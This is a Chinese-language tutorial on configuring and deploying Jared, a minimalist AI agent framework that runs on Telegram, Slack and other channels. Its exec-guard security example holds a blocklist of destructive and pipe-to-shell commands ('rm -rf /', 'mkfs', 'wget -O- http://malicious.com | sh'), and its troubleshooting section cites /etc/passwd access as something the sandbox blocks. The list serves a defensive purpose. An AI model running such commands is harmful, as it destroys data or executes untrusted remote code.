1. 项目概述Jared一个极简主义的AI COO如果你和我一样对市面上那些动辄几十万行代码、配置项多到让人眼花缭乱的AI Agent框架感到头疼那么Jared的出现就像在嘈杂的派对上找到了一个安静的角落。它不是一个“又一个AI助手”而是一个AGAAS——Agentic as a Service框架。简单来说Jared是一个开箱即用、持续运行、能主动思考的AI运营官它的核心目标只有一个用最少的代码做最多的事。整个项目的核心代码量被严格控制在3000行以内目前稳定在2625行。这不是一个营销噱头而是一种设计哲学。它意味着任何一个有JavaScript/TypeScript基础的开发者都能在几个小时内通读并理解其全部工作原理甚至可以根据自己的需求进行深度定制。Jared的设计者André de Sousa显然深受“少即是多”理念的影响他砍掉了所有不必要的抽象层和中间件只保留了构建一个实用、可靠、可扩展的AI Agent所必需的核心组件。Jared将自己定位为你的“AI COO”即首席组织官。这意味着它超越了传统聊天机器人的“一问一答”模式。它是一个服务而非一个工具。部署后它会像一个永不疲倦的同事静静地运行在后台监听来自Telegram、Slack、Discord、Email甚至终端控制台的消息利用内置的SQLite记忆系统记住跨会话的上下文并基于预设的心跳任务和定时计划主动向你汇报或执行任务。无论是初创公司的创始人、独立开发者还是希望用AI自动化处理日常琐事的个人用户Jared都提供了一个极其轻量且强大的起点。2. AGAAS哲学与核心设计思路2.1 从Chatbot到Agent理念的根本转变要理解Jared首先要理解AGAAS与传统AI聊天机器人的区别。这不仅仅是功能上的叠加而是设计范式的彻底革新。我们可以通过一个简单的对比表格来直观感受维度传统ChatbotAGAAS (Jared)交互模式被动响应你问它答对话结束。主动服务始终在线持续监听可主动发起任务。状态管理无状态或会话级状态刷新即丢失。持久化状态使用SQLite数据库记忆跨所有频道和会话。任务触发完全依赖用户输入。多途径触发用户消息、定时Cron任务、心跳文件检查。扩展方式通常需要修改核心代码或学习复杂的插件SDK。声明式扩展在src/skills/目录下放一个SKILL.md文件重启即可。设计目标提供一个通用的对话框架。提供一个开箱即用、自带最佳实践决策的“成品”Agent。Jared的“固执己见”体现在其每一个技术选型上这些选择共同服务于“简单、高效、可控”的核心目标SQLite作为记忆中枢没有选择更“时髦”的向量数据库。为什么因为对于Jared所处理的大多数任务日程、待办、用户偏好、事实记录基于关键词和分类的关系型查询已经足够高效且避免了向量化带来的额外复杂性和Token消耗。bun:sqlite提供了原生、零依赖的数据库支持性能极高。Markdown文件定义技能技能Skill不是用代码写的而是用Markdown写的。这极大地降低了创建和分享技能的门槛。Agent在需要时通过read_skill_manual工具动态加载完整的技能说明平时只将技能的名称和描述载入提示词完美平衡了上下文长度和功能丰富性。原生事件总线使用Node.js自带的EventEmitter实现了一个轻量级的事件总线用于连接分散的频道连接器和核心Agent循环。这比引入一个完整的消息队列如RabbitMQ要简单几个数量级完全满足内部通信需求。极致的Token节省策略这是Jared在工程上的一个亮点。它通过“记忆分类”和“选择性检索”来大幅减少每次请求时塞入提示词的上下文长度。例如它将长期记忆分为“事实”、“偏好”、“规则”、“摘要”等类别并在需要时通过search_memory工具进行精准的“Grep式”搜索只提取相关记忆而不是一股脑地把所有历史记录都传给LLM。2.2 核心架构拆解事件驱动与模块化Jared的架构清晰得像一幅电路图。其核心是一个基于事件的、高度解耦的流水线用户输入 (任何频道) - 频道适配器 - 事件总线 (EventEmitter) - 核心Agent循环 - 工具执行/MCP调用 - 结果返回事件总线 - 原频道回复用户频道层(src/channels/): 这是入口。每个频道如Telegram, Slack都有一个独立的连接器负责监听消息、接收事件。它们不关心业务逻辑只负责将消息包装成标准格式发射到事件总线上并从总线接收回复事件发回给用户。总线层(src/bus/): 系统的中枢神经。一个简单的EventEmitter实例负责所有模块间的消息路由。这种设计让新增一个频道变得异常简单——只需编写一个能收发总线事件的适配器即可完全不影响其他模块。Agent核心层(src/agent/): 这是大脑。agent.js中的spinUp函数是总指挥它监听来自总线的新消息事件。对于每条消息它会创建一个会话session.js组装上下文context.js然后进入loop.js定义的循环向LLM发送请求 - 解析LLM返回的“思考”和“工具调用” - 执行对应工具 - 将工具结果再次喂给LLM - 循环直到LLM认为任务完成并给出最终答复。工具层(src/tools/): 这是双手。所有内置工具如exec,web_search都在这里实现。它们是被loop.js调用的纯函数。最关键的是exec-guard.js它提供了三层安全防护允许列表、阻止列表、用户确认模式是安全执行Shell命令的基石。MCP集成层(src/mcp/): 这是可扩展的“瑞士军刀”。Model Context Protocol是一个新兴标准允许外部服务器如文件系统、数据库、JIRA以标准方式向AI模型暴露工具。Jared原生集成了MCP客户端这意味着你可以将任何兼容MCP的服务器例如一个能查询公司内部数据库的服务器作为工具接入Jared无需任何额外编码就能使用它们。这种架构的优势在于每个模块职责单一通过事件总线松散耦合。当你需要调试时可以很容易地定位问题所在当你需要扩展时只需在相应层次添加新组件而不会牵一发而动全身。3. 从零开始部署与深度配置指南3.1 环境准备与初始化Jared首选运行环境是 Bun 这是一个速度极快的JavaScript运行时。用Bun安装依赖和启动的速度优势非常明显。当然它也完全支持Node.js≥18版本。# 1. 克隆仓库 git clone https://github.com/adesousa/jared.git cd jared # 2. 使用Bun安装依赖推荐 bun install # 3. 将Jared链接到全局方便使用jared命令 bun link # 4. 运行初始化向导 jared onboardjared onboard命令会引导你完成最基本的配置并在项目根目录下生成一个.jared/文件夹里面包含初始的config.json。这是所有魔法的起点。实操心得在运行bun link后如果终端提示command not found: jared可能是因为你的Shell没有刷新PATH。可以尝试新开一个终端标签页或者运行source ~/.bashrc或source ~/.zshrc来刷新。3.2 核心配置详解打造你的专属Agent生成的config.json只是一个骨架你需要根据实际情况填充血肉。下面我们拆解每一个关键配置段。3.2.1 配置LLM提供商连接AI大脑Jared的强大之处在于其“通用路由”它几乎可以连接任何主流的LLM API。配置在providers字段下。{ providers: { ollama: { url: http://localhost:11434/v1, keys: [ { name: local-llm, value: ollama, // Ollama本地API不需要真密钥但字段需存在 models: [qwen2.5:7b, llama3.2:3b] } ] }, openai: { url: https://api.openai.com/v1, keys: [ { name: openai-main, value: sk-..., // 你的OpenAI API Key models: [gpt-4o-mini, gpt-4o] } ] }, gemini: { keys: [ // Gemini使用原生适配器无需配置url { name: gemini-key, value: AIzaSy..., // 你的Google AI Studio API Key models: [gemini-2.0-flash-exp] } ] }, openrouter: { url: https://openrouter.ai/api/v1, keys: [ { name: openrouter-key, value: sk-or-..., models: [anthropic/claude-3.5-sonnet, meta-llama/llama-3.1-70b-instruct] } ] } } }ollama: 这是本地运行模型的绝佳选择。确保你已在本地安装并启动了 Ollama 并拉取了需要的模型如ollama pull qwen2.5:7b。url指向Ollama的API端点。openai/gemini/mistral: 直接连接官方云服务。注意Gemini的配置略有不同它不需要url字段因为Jared内置了对其API格式的特殊适配。openrouter: 一个聚合平台可以通过一个API密钥访问数十个不同的模型如Claude, Llama等。对于想灵活切换模型的用户非常方便。通用兼容端点任何提供OpenAI兼容API的服务都可以配置在这里比如本地部署的 vLLM 或 LM Studio 。只需将url改为对应的地址即可。3.2.2 设定默认模型与Agent行为在agents.defaults中你需要告诉Jared默认使用哪个“大脑”。{ agents: { defaults: { provider: ollama, // 默认使用哪个提供商 model: qwen2.5:7b, // 默认使用该提供商下的哪个模型 maxIterations: 15 // 单次对话最大“思考-工具调用”循环次数 } } }maxIterations是一个重要的安全与成本控制参数。它限制了Agent在一次对话中最多能进行多少次“思考 - 调用工具 - 观察结果”的循环。防止Agent陷入无限循环或因为复杂任务消耗过多API调用次数。对于简单任务5-10次足够对于复杂规划任务可以设到15-20。3.2.3 启用与配置通信频道Jared支持多频道同时在线。你可以在channels字段中启用一个或多个。{ channels: { console: { enabled: true // 终端控制台无需任何配置开箱即用 }, telegram: { enabled: true, token: YOUR_BOT_TOKEN_FROM_BOTFATHER // 必填 }, slack: { enabled: true, botToken: xoxb-..., // Bot User OAuth Token appToken: xapp-... // App-Level Token (Socket Mode所需) }, email: { enabled: true, imapHost: imap.gmail.com, imapPort: 993, imapUsername: your-jared-emailgmail.com, imapPassword: your-app-password, // 注意使用Gmail需开启“应用专用密码” smtpHost: smtp.gmail.com, smtpPort: 587, smtpUsername: your-jared-emailgmail.com, smtpPassword: your-app-password, fromAddress: your-jared-emailgmail.com } } }重要安全提示为Jared创建专用的邮箱账户并务必使用“应用专用密码”而非你的常规邮箱密码。对于Gmail需要在Google账户的“安全性”设置中开启两步验证然后生成专用密码。3.2.4 安全配置锁好AI的双手exec工具功能强大但也危险。Jared的exec-guard提供了三层防护在security.exec中配置。{ security: { exec: { mode: confirm, // 安全模式confirm, allowlist, unrestricted allowedBins: [ // 允许列表允许执行的命令白名单 ls, cat, grep, find, curl, wget, git, node, bun, npm, python3, pip3 ], blocklist: [ // 阻止列表无论是否在允许列表都禁止执行的模式 rm -rf /, mkfs, dd if, chmod 777, /dev/sda, wget -O- http://malicious.com | sh // 防止管道下载执行 ] }, restrictToWorkspace: true, // 启用工作区沙箱 workspaceDir: .jared/workspace // 沙箱目录 } }mode详解:confirm推荐最安全。即使命令在allowedBins中每次执行前也会在频道中向用户请求确认。你会在Telegram/Slack里收到“是否允许执行ls -la”的消息。allowlist中等安全。只允许执行allowedBins中的命令且不询问。阻止blocklist中的危险模式。unrestricted仅阻止blocklist中的模式。仅在你完全信任运行环境且了解风险时使用。工作区沙箱当restrictToWorkspace为true时所有通过exec执行的文件操作都会被限制在.jared/workspace目录内。Jared会尝试拦截任何试图跳出此目录的命令如使用../或绝对路径访问系统文件。这是一个重要的纵深防御措施。3.2.5 高级功能配置网络搜索如果你希望Jared能搜索网页需要配置Brave Search API。去 Brave Search API 申请一个免费密钥。{ tools: { web: { search: { apiKey: YOUR_BRAVE_API_KEY } } } }调试模式在开发或排查问题时开启调试模式会打印大量详细日志。{ debug: true }MCP服务器这是连接外部工具生态系统的钥匙。配置格式与Claude Desktop兼容。{ mcp: { servers: { filesystem: { command: npx, args: [-y, modelcontextprotocol/server-filesystem, /tmp/jared-files] }, sqlite-db: { command: uvx, args: [mcp-server-sqlite, database.db] } } } }配置后Jared启动时会自动连接这些MCP服务器并将其提供的工具如“读取文件”、“查询数据库”纳入自己的工具库LLM可以直接调用。完成所有配置后运行jared start你的AI COO就正式上线了。4. 核心功能实操与技能生态构建4.1 内置工具实战让AI真正为你做事Jared的内置工具是其生产力的直接体现。理解并善用它们是发挥其效能的关键。4.1.1exec安全地执行Shell命令这是最强大的工具。你可以让Jared运行任何在允许列表中的命令。场景在Slack中Jared 查看一下当前目录的git状态。Jared的思考用户要求查看git状态。我需要使用exec工具运行git status命令。行动调用exec({ command: “git”, args: [“status”] })。结果Jared将git status的输出结果返回给Slack频道。注意事项对于复杂或需要交互的命令如vim,topexec可能无法正常工作因为它执行的是单次非交互式命令。对于文件编辑更好的方式是结合web_fetch和exec中的echo或文件重定向。4.1.2cron与heartbeat自动化任务双雄这两个工具都用于自动化但侧重点不同。cron工具用于管理简单的、基于时间的提醒。例如“添加一个每工作日早上9点的提醒内容为‘站会’”。Jared会将其存入SQLite数据库并在指定时间通过message工具向你发送提醒。heartbeat工具用于管理复杂的、需要AI亲自处理的任务。这些任务定义在.jared/HEARTBEAT.md文件中。Jared会定期默认30秒检查这个文件。例如文件中有一项“## Daily Tasks\n### 9:00 AM — 市场简报\n- 搜索今日AI行业头条新闻并总结”。到了9点Jared会主动发起一个会话读取任务描述然后可能依次调用web_search、web_fetch、add_memory等工具来完成“搜索并总结”的工作最后将结果通过message工具发送给你。核心区别cron是“闹钟”提醒你去做事heartbeat是“自动程序”让Jared自己去做事。4.1.3spawn召唤专家团队当任务超出Jared默认的“COO”角色能力时可以使用spawn工具创建一个背景子代理。默认行为spawn({ task: “分析这个CSV文件sales.csv的趋势” })。这会创建一个新的Agent实例使用默认配置去执行任务。专家模式如果你在src/team/目录下放置了角色定义文件如data_analyst.md里面包含了“你是一个数据分析专家擅长使用Python pandas进行数据可视化...”等系统提示词。那么你可以调用spawn({ task: “分析sales.csv”, role: “data_analyst” })。子代理将采用data_analyst.md中的专家身份来执行任务结果会更专业。动态感知Jared启动时会扫描src/team/目录将所有可用的专家角色名注入自己的系统提示词。因此它知道“我手下有这些专家”在遇到复杂任务时可能会主动建议或直接调用spawn来分配任务。4.1.4web_searchweb_fetch获取外部信息web_search基于Brave Search API进行关键词搜索返回摘要和链接。web_fetch获取给定URL的网页内容并利用Readability类似的算法提取核心正文文本过滤广告和导航栏。这对于让AI阅读长文章并总结非常有用。4.1.5 记忆管理三件套add_memory: 让AI记住一些东西。你需要指定类型fact事实,preference偏好,rule规则,summary摘要和内容。例如“记住我的偏好咖啡喜欢加奶不加糖。”search_memory: 基于关键词搜索记忆。当用户问“我喜欢怎么喝咖啡”时Jared会自动调用此工具搜索“咖啡”找到相关记忆并引用。remove_memory: 删除过时或错误的记忆。需要提供记忆的ID可以从search_memory的结果中获取。4.2 技能系统用Markdown扩展AI能力技能系统是Jared最优雅的设计之一。它让非开发者也能为AI添加复杂功能。4.2.1 技能解剖一个完整的SKILL.md假设我们要创建一个“股票查询”技能。在src/skills/下创建文件夹stock-checker/。在该文件夹内创建SKILL.md文件--- name: stock-checker description: 获取指定公司股票的最新价格和简要信息。当用户询问股票价格、股价或公司代码时使用此技能。 --- # 股票查询技能指南 ## 能力 本技能允许Jared查询公开的股票市场数据。 ## 使用步骤 1. **识别需求**当用户提及公司名称如“苹果”、“特斯拉”或股票代码如“AAPL”、“TSLA”时触发本技能。 2. **提取信息**从用户消息中提取公司名称或股票代码。如果只有名称你需要尝试将其映射到常见的股票代码例如“苹果” - “AAPL”。 3. **调用数据源**使用 web_search 工具搜索 “[股票代码] stock price today”。例如搜索 “AAPL stock price today”。 4. **解析结果**从搜索结果中提取当前价格、涨跌幅和货币单位。 5. **组织回复**以清晰、友好的格式向用户报告信息。例如“苹果公司 (AAPL) 当前股价为 $172.33今日上涨 1.2%。” ## 注意事项 - 数据来自公开网络搜索可能有轻微延迟不构成投资建议。 - 对于不明确的公司名称可以询问用户具体的股票代码。 - 只报告公开信息不提供分析或预测。YAML Frontmatter (---内部分)是技能的“元数据”会被加载到Jared的主系统提示词中让它知道这个技能的存在和用途。Markdown正文是技能的“详细说明书”只有在Jared决定使用该技能时才会通过read_skill_manual工具动态加载到当前对话上下文中。这完美解决了“功能丰富性”和“上下文长度”之间的矛盾。4.2.2 内置技能示例skill-creator这是一个“元技能”能帮助你创建新的技能。你可以告诉Jared“我想创建一个能查询天气的技能”它会引导你完成创建过程甚至帮你生成SKILL.md的草稿。summarize利用web_fetch获取URL内容然后调用LLM进行总结。支持文章、视频通过yt-dlp等。github封装了ghCLI命令让Jared可以帮你管理Issue、PR查看仓库状态等。4.3 团队协作创建专家子代理src/team/目录用于存放专家角色定义。这些文件也是Markdown格式但内容主要是系统提示词。示例src/team/code_reviewer.md你是一个资深代码审查专家专注于JavaScript/TypeScript和Node.js项目。你的审查风格严格但富有建设性。 **你的审查重点包括** 1. **安全性**检查是否存在SQL注入、命令注入、路径遍历、敏感信息泄露等风险。 2. **性能**识别低效循环、冗余计算、内存泄漏隐患。 3. **可读性与维护性**检查命名、函数长度、代码结构、注释。 4. **符合规范**检查是否符合项目的ESLint/Prettier配置。 **你的输出格式** - 首先给出总体评价通过/需要修改/高风险。 - 然后按文件列出具体问题每个问题注明**行号**、**问题类型安全/性能/风格**、**描述**、**建议修改**。 - 最后给出总结性建议。 请以专业、清晰、直接的方式进行审查。当Jared收到“请审查src/utils/security.js这个文件”的请求时它可能会判断这个任务需要专家介入从而调用spawn({ task: “审查security.js文件”, role: “code_reviewer” })。生成的子代理就会以代码审查专家的口吻和知识来执行任务。5. 生产环境部署、维护与问题排查5.1 部署方案从开发到生产开发环境直接在终端运行jared start是最简单的方式。配合bun --watch或nodemon可以实现代码热重载方便技能开发。生产环境推荐使用进程管理工具确保Jared在后台稳定运行并在崩溃后自动重启。使用PM2(Node.js进程管理器):# 全局安装PM2 npm install -g pm2 # 在Jared项目目录下用PM2启动 pm2 start “bun start” --name “jared-ai” # 设置开机自启 pm2 startup pm2 save # 查看日志 pm2 logs jared-ai使用Systemd(Linux系统服务): 创建服务文件/etc/systemd/system/jared.service:[Unit] DescriptionJared AI Agent Service Afternetwork.target [Service] Typesimple Useryour-username WorkingDirectory/path/to/your/jared Environment”PATH/usr/bin:/usr/local/bin” ExecStart/usr/local/bin/bun start Restarton-failure RestartSec10 [Install] WantedBymulti-user.target然后启用并启动服务sudo systemctl daemon-reload sudo systemctl enable jared sudo systemctl start jared sudo systemctl status jared5.2 日常维护与监控日志管理Jared的日志默认输出到控制台。在生产环境中建议将PM2或Systemd的日志重定向到日志文件如/var/log/jared.log并配置日志轮转防止磁盘占满。内存数据库备份.jared/memory.db文件保存了所有记忆。定期备份这个文件是重要的。可以写一个简单的Cron任务来复制它。依赖更新定期运行bun update或npm update来更新项目依赖并运行jared audit来检查已知的安全漏洞。监控心跳确保.jared/HEARTBEAT.md文件中的任务时间设置正确并观察Jared是否按时执行了它们。可以通过在心跳任务中增加一个“发送状态ping”的任务来间接监控服务是否存活。5.3 常见问题与排查实录即使设计再精良在实际运行中也可能遇到问题。以下是我在部署和使用Jared过程中遇到的一些典型情况及解决方法。问题1Jared启动后对消息无反应。可能原因A频道配置错误。排查检查config.json中对应频道的enabled是否为true且Token/密钥正确。对于Slack确保使用了Socket Mode的appToken和botToken且Bot已被邀请到频道并有相应权限。解决重新核对并配置频道。对于Slack可以尝试在Slack API控制台重新生成Token。可能原因BLLM提供商连接失败。排查启动时加上DEBUG*环境变量查看详细日志 (DEBUG* jared start)。关注是否有LLM API连接超时或认证失败的报错。解决检查providers配置中的url和key是否正确网络是否能访问该API端点。如果是本地Ollama确认ollama serve正在运行。问题2exec工具执行命令失败或没有输出。可能原因A命令不在allowedBins允许列表中。排查检查security.exec.allowedBins数组是否包含了你想执行的命令如python3。解决将命令添加到allowedBins列表中并重启Jared。可能原因B工作在沙箱模式但命令试图访问沙箱外文件。排查如果restrictToWorkspace为true且命令中包含../或绝对路径如/etc/passwd会被阻止。解决将需要操作的文件复制到.jared/workspace目录内或临时关闭沙箱模式不推荐。可能原因C命令本身需要交互或产生大量输出。排查某些命令如某些需要确认的rm操作或持续输出的tail -f在非交互式环境下行为异常。解决尝试使用命令的“非交互式”选项如rm -f代替rm。对于复杂操作考虑编写一个脚本文件放在工作区然后让Jared执行该脚本。问题3心跳任务没有按时执行。可能原因A系统时间或时区问题。排查检查运行Jared的服务器的系统时间和时区设置。.jared/HEARTBEAT.md中的时间是基于服务器本地时间解析的。解决使用date命令确认服务器时间并在HEARTBEAT.md中使用正确的时间。可以考虑在时间后明确指定时区如### 9:00 AM UTC — 晨会。可能原因BJared进程繁忙或卡住。排查Jared是单进程事件循环。如果一个长时间运行的任务如一个复杂的spawn子任务阻塞了主循环可能会延迟心跳检查。解决确保spawn的任务是相对独立和可结束的。对于非常耗时的任务考虑将其拆解或使用外部队列系统Jared仅负责触发。问题4LLM响应速度慢或经常超时。可能原因A使用的云API延迟高或本地模型计算慢。排查尝试在配置中切换到另一个提供商或更小的模型进行测试。解决对于生产使用选择延迟低、稳定的API。本地部署模型时确保硬件尤其是GPU资源充足。可以在config.json中调整agents.defaults.maxIterations为一个较小的值如5防止复杂任务导致过长的循环。可能原因B上下文过长导致每次请求的Token数太多。排查Jared虽有Token优化策略但如果对话历史非常长或加载了多个大型技能手册上下文仍会膨胀。解决依赖search_memory进行精准检索而非依赖完整的对话历史。确保技能手册 (SKILL.md) 写得简洁扼要。问题5MCP工具无法连接或调用失败。可能原因AMCP服务器命令路径或参数错误。排查检查config.json中MCP服务器的command和args。确保命令在系统的PATH中或者使用绝对路径。解决手动在终端运行一遍配置的命令看是否能成功启动MCP服务器。例如运行npx -y modelcontextprotocol/server-filesystem /tmp/test。可能原因BMCP服务器启动失败或崩溃。排查查看Jared的调试日志看是否有MCP服务器连接错误或stdio错误。解决确保MCP服务器依赖已安装。有些MCP服务器可能需要Python或Rust环境。参考对应MCP服务器的文档进行安装和配置。通过理解Jared的设计哲学、掌握其配置方法、熟练运用其工具与技能系统并能够有效排查运行时问题你就能真正将这个不足3000行的AI COO融入你的工作流让它成为你数字生活中一个高效、可靠且高度可定制的自动化伙伴。它的价值不在于功能的堆砌而在于在简洁与强大之间取得的精妙平衡为开发者提供了一个清晰、可控的AI Agent构建蓝本。